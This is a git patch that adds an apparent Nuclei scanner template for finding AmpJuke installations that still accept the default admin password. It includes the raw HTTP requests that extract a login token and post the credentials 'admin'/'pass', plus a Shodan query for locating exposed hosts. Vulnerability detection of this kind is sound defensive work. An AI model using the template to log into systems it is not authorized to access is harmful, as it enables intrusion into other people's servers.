From 12873950d26fa56299f7d9305a513201f2ae2c90 Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Thu, 11 Apr 2024 08:42:47 +0530
Subject: [PATCH] Create ampjuke-default-login.yaml

---
 .../default-logins/ampjuke-default-login.yaml | 61 +++++++++++++++++++
 1 file changed, 61 insertions(+)
 create mode 100644 http/default-logins/ampjuke-default-login.yaml

diff --git a/http/default-logins/ampjuke-default-login.yaml b/http/default-logins/ampjuke-default-login.yaml
new file mode 100644
index 0000000000..125086f0a2
--- /dev/null
+++ b/http/default-logins/ampjuke-default-login.yaml
@@ -0,0 +1,61 @@
+id: ampjuke-default-login
+
+info:
+  name: AmpJuke - Default Login
+  author: ritikchaddha
+  severity: high
+  description: |
+   AmpJuke contains a default login vulnerability. Default admin login password 'pass' was found.
+  metadata:
+    max-request: 2
+    shodan-query: http.favicon.hash:-121681558
+  tags: default-login,ampjuke
+
+http:
+  - raw:
+      - |
+        GET /login.php HTTP/2
+        Host: {{Hostname}}
+
+      - |
+        POST /loginvalidate.php HTTP/2
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        uuid={{url_encode(token)}}&login={{username}}&password={{password}}&Submit=Submit
+
+      - |
+        GET /index.php?what=welcome HTTP/2
+        Host: {{Hostname}}
+
+    attack: pitchfork
+    payloads:
+      username:
+        - admin
+      password:
+        - pass
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_3
+        words:
+          - 'AmpJuke'
+          - 'Track'
+          - 'Logout'
+          - 'Random play'
+        condition: and
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        part: body_1
+        name: token
+        group: 1
+        regex:
+          - 'name="uuid" value="([./a-z0-9-]+)">'
+        internal: true